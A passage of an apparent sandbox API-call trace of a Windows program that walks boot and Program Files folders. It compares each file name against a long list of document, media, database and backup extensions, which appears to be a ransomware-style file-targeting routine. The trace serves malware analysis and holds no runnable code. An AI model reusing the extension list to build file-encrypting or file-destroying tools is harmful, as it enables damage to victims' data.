returned 0x39106d0 [0033.966] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.966] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.966] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.966] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.966] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0033.966] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.966] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.966] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.967] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.967] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.967] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0033.967] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.967] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.967] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.967] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.967] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.967] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0033.967] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.967] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.967] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.967] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.967] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.967] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0034.702] FindNextFileW (in: hFindFile=0x3ed11b8, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.702] FindNextFileW (in: hFindFile=0x3ed11b8, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0034.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned 49 [0034.702] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned 1 [0034.702] lstrlenW (lpString="DW") returned 2 [0034.702] lstrcmpiW (lpString1="C:\\Windows", lpString2="DW") returned -1 [0034.702] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ec0050 [0034.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned 49 [0034.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed11f8 [0034.745] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.745] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0034.745] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0034.745] lstrlenW (lpString=".1cd") returned 4 [0034.745] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0034.745] lstrlenW (lpString=".3ds") returned 4 [0034.745] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0034.745] lstrlenW (lpString=".3fr") returned 4 [0034.745] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0034.745] lstrlenW (lpString=".3g2") returned 4 [0034.745] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0034.745] lstrlenW (lpString=".3gp") returned 4 [0034.745] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0034.745] lstrlenW (lpString=".7z") returned 3 [0034.745] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0034.745] lstrlenW (lpString=".accda") returned 6 [0034.745] lstrcmpiW (lpString1=".accda", lpString2="LP.DLL") returned -1 [0034.745] lstrlenW (lpString=".accdb") returned 6 [0034.745] lstrcmpiW (lpString1=".accdb", lpString2="LP.DLL") returned -1 [0034.745] lstrlenW (lpString=".accdc") returned 6 [0034.745] lstrcmpiW (lpString1=".accdc", lpString2="LP.DLL") returned -1 [0034.745] lstrlenW (lpString=".accde") returned 6 [0034.745] lstrcmpiW (lpString1=".accde", lpString2="LP.DLL") returned -1 [0034.745] lstrlenW (lpString=".accdt") returned 6 [0034.746] lstrcmpiW (lpString1=".accdt", lpString2="LP.DLL") returned -1 [0034.746] lstrlenW (lpString=".accdw") returned 6 [0034.746] lstrcmpiW (lpString1=".accdw", lpString2="LP.DLL") returned -1 [0034.746] lstrlenW (lpString=".adb") returned 4 [0034.746] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".adp") returned 4 [0034.746] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".ai") returned 3 [0034.746] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0034.746] lstrlenW (lpString=".ai3") returned 4 [0034.746] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".ai4") returned 4 [0034.746] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".ai5") returned 4 [0034.746] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".ai6") returned 4 [0034.746] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".ai7") returned 4 [0034.746] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".ai8") returned 4 [0034.746] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".anim") returned 5 [0034.746] lstrcmpiW (lpString1=".anim", lpString2="P.DLL") returned -1 [0034.746] lstrlenW (lpString=".arw") returned 4 [0034.746] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".as") returned 3 [0034.746] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0034.746] lstrlenW (lpString=".asa") returned 4 [0034.746] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".asc") returned 4 [0034.746] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".ascx") returned 5 [0034.746] lstrcmpiW (lpString1=".ascx", lpString2="P.DLL") returned -1 [0034.746] lstrlenW (lpString=".asm") returned 4 [0034.746] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".asmx") returned 5 [0034.746] lstrcmpiW (lpString1=".asmx", lpString2="P.DLL") returned -1 [0034.746] lstrlenW (lpString=".asp") returned 4 [0034.746] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".aspx") returned 5 [0034.746] lstrcmpiW (lpString1=".aspx", lpString2="P.DLL") returned -1 [0034.746] lstrlenW (lpString=".asr") returned 4 [0034.746] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".asx") returned 4 [0034.746] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0034.746] lstrlenW (lpString=".avi") returned 4 [0034.746] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".avs") returned 4 [0034.747] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".backup") returned 7 [0034.747] lstrcmpiW (lpString1=".backup", lpString2="ELP.DLL") returned -1 [0034.747] lstrlenW (lpString=".bak") returned 4 [0034.747] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".bay") returned 4 [0034.747] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".bd") returned 3 [0034.747] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0034.747] lstrlenW (lpString=".bin") returned 4 [0034.747] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".bmp") returned 4 [0034.747] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".bz2") returned 4 [0034.747] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".c") returned 2 [0034.747] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0034.747] lstrlenW (lpString=".cdr") returned 4 [0034.747] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".cer") returned 4 [0034.747] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".cf") returned 3 [0034.747] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0034.747] lstrlenW (lpString=".cfc") returned 4 [0034.747] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".cfm") returned 4 [0034.747] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".cfml") returned 5 [0034.747] lstrcmpiW (lpString1=".cfml", lpString2="P.DLL") returned -1 [0034.747] lstrlenW (lpString=".cfu") returned 4 [0034.747] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".chm") returned 4 [0034.747] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".cin") returned 4 [0034.747] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".class") returned 6 [0034.747] lstrcmpiW (lpString1=".class", lpString2="LP.DLL") returned -1 [0034.747] lstrlenW (lpString=".clx") returned 4 [0034.747] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".config") returned 7 [0034.747] lstrcmpiW (lpString1=".config", lpString2="ELP.DLL") returned -1 [0034.747] lstrlenW (lpString=".cpp") returned 4 [0034.747] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".cr2") returned 4 [0034.747] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".crt") returned 4 [0034.747] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".crw") returned 4 [0034.747] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".cs") returned 3 [0034.747] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0034.747] lstrlenW (lpString=".css") returned 4 [0034.747] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".csv") returned 4 [0034.747] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0034.747] lstrlenW (lpString=".cub") returned 4 [0034.748] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dae") returned 4 [0034.748] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dat") returned 4 [0034.748] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".db") returned 3 [0034.748] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0034.748] lstrlenW (lpString=".dbf") returned 4 [0034.748] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dbx") returned 4 [0034.748] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dc3") returned 4 [0034.748] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dcm") returned 4 [0034.748] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dcr") returned 4 [0034.748] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".der") returned 4 [0034.748] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dib") returned 4 [0034.748] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dic") returned 4 [0034.748] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".dif") returned 4 [0034.748] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0034.748] lstrlenW (lpString=".divx") returned 5 [0034.748] lstrcmpiW (lpString1=".divx", lpString2="P.DLL") returned -1 [0034.748] lstrlenW (lpString=".djvu") returned 5 [0034.748] lstrcmpiW (lpString1=".djvu", lpString2="P.DLL") returned -1 [0034.748] lstrlenW (lpString=".dng") returned 4 [0034.748] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0034.748] lstrlenW (lpString=".doc") returned 4 [0034.748] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0034.748] lstrlenW (lpString=".docm") returned 5 [0034.748] lstrcmpiW (lpString1=".docm", lpString2="P.DLL") returned -1 [0034.748] lstrlenW (lpString=".docx") returned 5 [0034.748] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0034.748] lstrlenW (lpString=".dot") returned 4 [0034.748] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0034.748] lstrlenW (lpString=".dotm") returned 5 [0034.748] lstrcmpiW (lpString1=".dotm", lpString2="P.DLL") returned -1 [0034.748] lstrlenW (lpString=".dotx") returned 5 [0034.748] lstrcmpiW (lpString1=".dotx", lpString2="P.DLL") returned -1 [0034.748] lstrlenW (lpString=".dpx") returned 4 [0034.748] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0034.748] lstrlenW (lpString=".dqy") returned 4 [0034.748] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0034.748] lstrlenW (lpString=".dsn") returned 4 [0034.748] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0034.748] lstrlenW (lpString=".dt") returned 3 [0034.749] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0034.749] lstrlenW (lpString=".dtd") returned 4 [0034.749] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".dwg") returned 4 [0034.749] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".dwt") returned 4 [0034.749] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".dx") returned 3 [0034.749] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0034.749] lstrlenW (lpString=".dxf") returned 4 [0034.749] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".edml") returned 5 [0034.749] lstrcmpiW (lpString1=".edml", lpString2="P.DLL") returned -1 [0034.749] lstrlenW (lpString=".efd") returned 4 [0034.749] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".elf") returned 4 [0034.749] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".emf") returned 4 [0034.749] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".emz") returned 4 [0034.749] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".epf") returned 4 [0034.749] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".eps") returned 4 [0034.749] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".epsf") returned 5 [0034.749] lstrcmpiW (lpString1=".epsf", lpString2="P.DLL") returned -1 [0034.749] lstrlenW (lpString=".epsp") returned 5 [0034.749] lstrcmpiW (lpString1=".epsp", lpString2="P.DLL") returned -1 [0034.749] lstrlenW (lpString=".erf") returned 4 [0034.749] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".exr") returned 4 [0034.749] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".f4v") returned 4 [0034.749] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".fido") returned 5 [0034.749] lstrcmpiW (lpString1=".fido", lpString2="P.DLL") returned -1 [0034.749] lstrlenW (lpString=".flm") returned 4 [0034.749] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".flv") returned 4 [0034.749] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".frm") returned 4 [0034.749] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".fxg") returned 4 [0034.749] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".geo") returned 4 [0034.749] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".gif") returned 4 [0034.749] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".grs") returned 